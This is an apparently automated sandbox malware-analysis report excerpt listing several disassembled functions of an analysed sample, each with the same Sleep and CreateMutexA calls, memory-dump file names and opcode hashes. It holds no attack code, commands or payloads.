Sleep.KERNEL32(00000064), ref: 00F5A963
CreateMutexA.KERNEL32(00000000,00000000,00FB3254), ref: 00F5A981

Memory Dump Source

Source File: 00000000.00000002.1752791680.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1752722183.0000000000F50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752791680.0000000000FB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753051842.0000000000FB9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753121794.0000000000FBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753161490.0000000000FC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753258997.0000000000FC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753296978.0000000000FC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753662175.0000000001114000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753754373.0000000001116000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001126000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755045852.0000000001137000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755063098.000000000113D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755080172.0000000001145000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755093675.0000000001146000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755105895.0000000001147000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755121161.000000000114E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755136572.0000000001159000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755152448.000000000115A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755168242.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755185757.000000000117A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755208020.0000000001196000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755222711.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755235349.000000000119C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755251304.00000000011A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755267195.00000000011B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755284255.00000000011B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755296998.00000000011B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755314228.00000000011BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755329040.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755345530.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755358762.00000000011C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755372736.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755386501.00000000011CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755403161.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755417894.00000000011D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755432060.00000000011D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755453550.00000000011F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.00000000011F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.0000000001213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755512933.000000000122F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755527334.0000000001231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755541548.0000000001246000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755561600.0000000001247000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755579040.0000000001248000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755596027.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755611221.000000000124D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755627860.000000000125D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755645165.000000000125E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 697090e711c2ef2b4b8178914b288854636934b76fe778c7c3740708cd2e5a08
Instruction ID: 1b5083fd1c4897849e140739a23722a137a883bf9d863a2b63c62501c9544dc1
Opcode Fuzzy Hash: 697090e711c2ef2b4b8178914b288854636934b76fe778c7c3740708cd2e5a08
Instruction Fuzzy Hash: E3312C71B441009BDB08DBB8DC8DB6DB762EF82311F244318EA149B3D5D7B94998BB62

Function 00F5A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00F5A963
CreateMutexA.KERNEL32(00000000,00000000,00FB3254), ref: 00F5A981

Memory Dump Source

Source File: 00000000.00000002.1752791680.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1752722183.0000000000F50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752791680.0000000000FB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753051842.0000000000FB9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753121794.0000000000FBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753161490.0000000000FC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753258997.0000000000FC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753296978.0000000000FC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753662175.0000000001114000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753754373.0000000001116000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001126000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755045852.0000000001137000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755063098.000000000113D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755080172.0000000001145000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755093675.0000000001146000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755105895.0000000001147000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755121161.000000000114E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755136572.0000000001159000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755152448.000000000115A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755168242.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755185757.000000000117A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755208020.0000000001196000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755222711.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755235349.000000000119C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755251304.00000000011A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755267195.00000000011B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755284255.00000000011B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755296998.00000000011B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755314228.00000000011BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755329040.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755345530.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755358762.00000000011C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755372736.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755386501.00000000011CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755403161.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755417894.00000000011D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755432060.00000000011D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755453550.00000000011F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.00000000011F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.0000000001213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755512933.000000000122F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755527334.0000000001231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755541548.0000000001246000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755561600.0000000001247000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755579040.0000000001248000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755596027.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755611221.000000000124D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755627860.000000000125D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755645165.000000000125E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 3167d198a0d82d29063f3e60a71c008cd10ec719ccde3f577b4f42eb66347b85
Instruction ID: ecd1e900f4335028262253cba7b5f375c9fd2c74a3ef486853f1fa8646161e77
Opcode Fuzzy Hash: 3167d198a0d82d29063f3e60a71c008cd10ec719ccde3f577b4f42eb66347b85
Instruction Fuzzy Hash: A5313B71B041008BEB08DB78CCCDB6DB762EB82315F244718EA149B2D1D7798994BB12

Function 00F5A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00F5A963
CreateMutexA.KERNEL32(00000000,00000000,00FB3254), ref: 00F5A981

Memory Dump Source

Source File: 00000000.00000002.1752791680.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1752722183.0000000000F50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752791680.0000000000FB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753051842.0000000000FB9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753121794.0000000000FBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753161490.0000000000FC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753258997.0000000000FC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753296978.0000000000FC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753662175.0000000001114000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753754373.0000000001116000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001126000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755045852.0000000001137000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755063098.000000000113D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755080172.0000000001145000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755093675.0000000001146000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755105895.0000000001147000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755121161.000000000114E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755136572.0000000001159000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755152448.000000000115A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755168242.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755185757.000000000117A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755208020.0000000001196000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755222711.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755235349.000000000119C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755251304.00000000011A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755267195.00000000011B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755284255.00000000011B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755296998.00000000011B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755314228.00000000011BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755329040.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755345530.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755358762.00000000011C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755372736.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755386501.00000000011CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755403161.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755417894.00000000011D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755432060.00000000011D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755453550.00000000011F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.00000000011F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.0000000001213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755512933.000000000122F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755527334.0000000001231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755541548.0000000001246000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755561600.0000000001247000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755579040.0000000001248000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755596027.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755611221.000000000124D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755627860.000000000125D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755645165.000000000125E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 10d47d8ae547e9c14685eef009e2ac4bda355eeba0a12fee7f82e84959b337bb
Instruction ID: c427a751f51b94b75e6f4a0da59d0251cd36635df161dc90145f412a51e3adce
Opcode Fuzzy Hash: 10d47d8ae547e9c14685eef009e2ac4bda355eeba0a12fee7f82e84959b337bb
Instruction Fuzzy Hash: BC314C71B041009BEB08DB78DC8D76DB772EB86321F244718EA149B3D1C7754998AB62

Function 00F5A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00F5A963
CreateMutexA.KERNEL32(00000000,00000000,00FB3254), ref: 00F5A981

Memory Dump Source

Source File: 00000000.00000002.1752791680.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1752722183.0000000000F50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752791680.0000000000FB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753051842.0000000000FB9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753121794.0000000000FBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753161490.0000000000FC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753258997.0000000000FC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753296978.0000000000FC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753662175.0000000001114000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753754373.0000000001116000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001126000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755045852.0000000001137000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755063098.000000000113D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755080172.0000000001145000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755093675.0000000001146000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755105895.0000000001147000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755121161.000000000114E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755136572.0000000001159000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755152448.000000000115A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755168242.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755185757.000000000117A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755208020.0000000001196000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755222711.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755235349.000000000119C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755251304.00000000011A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755267195.00000000011B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755284255.00000000011B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755296998.00000000011B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755314228.00000000011BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755329040.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755345530.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755358762.00000000011C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755372736.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755386501.00000000011CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755403161.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755417894.00000000011D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755432060.00000000011D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755453550.00000000011F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.00000000011F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.0000000001213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755512933.000000000122F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755527334.0000000001231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755541548.0000000001246000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755561600.0000000001247000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755579040.0000000001248000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755596027.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755611221.000000000124D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755627860.000000000125D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755645165.000000000125E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: de951f4706d89b5fd69565c931aee88fdf7a9928d49309ed8d15620fe68e0c3d
Instruction ID: 85b0e4891badc4a44ec74ce8f5b7ba2cd8991874771f318207d668406dba299a
Opcode Fuzzy Hash: de951f4706d89b5fd69565c931aee88fdf7a9928d49309ed8d15620fe68e0c3d
Instruction Fuzzy Hash: 0C216D717892019AEB2467689C8E72DB3229F82313F240A16EF04D63C1CBBA8959B553

Function 00F5A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00F5A963
CreateMutexA.KERNEL32(00000000,00000000,00FB3254), ref: 00F5A981

Memory Dump Source

Source File: 00000000.00000002.1752791680.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1752722183.0000000000F50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752791680.0000000000FB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753051842.0000000000FB9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753121794.0000000000FBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753161490.0000000000FC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753258997.0000000000FC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753296978.0000000000FC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753662175.0000000001114000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753754373.0000000001116000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001126000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755045852.0000000001137000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755063098.000000000113D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755080172.0000000001145000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755093675.0000000001146000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755105895.0000000001147000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755121161.000000000114E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755136572.0000000001159000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755152448.000000000115A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755168242.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755185757.000000000117A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755208020.0000000001196000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755222711.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755235349.000000000119C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755251304.00000000011A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755267195.00000000011B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755284255.00000000011B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755296998.00000000011B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755314228.00000000011BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755329040.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755345530.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755358762.00000000011C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755372736.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755386501.00000000011CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755403161.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755417894.00000000011D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755432060.00000000011D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755453550.00000000011F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.00000000011F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.0000000001213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755512933.000000000122F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755527334.0000000001231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755541548.0000000001246000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755561600.0000000001247000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755579040.0000000001248000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755596027.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755611221.000000000124D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755627860.000000000125D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755645165.000000000125E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 34574951819a690e7844dcd93271b70935f60977118556eceab51792311f17e8
Instruction ID: 36402ae00ee5abce782a65983d39c723567694d89697660ee4189e4c0ec6b99c
Opcode Fuzzy Hash: 34574951819a690e7844dcd93271b70935f60977118556eceab51792311f17e8
Instruction Fuzzy Hash: D8219B317442009BEB089B68DC8D76CBB62DFC2322F244319EA04DB7D1C7769698AB13

Function 00F587B2 Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

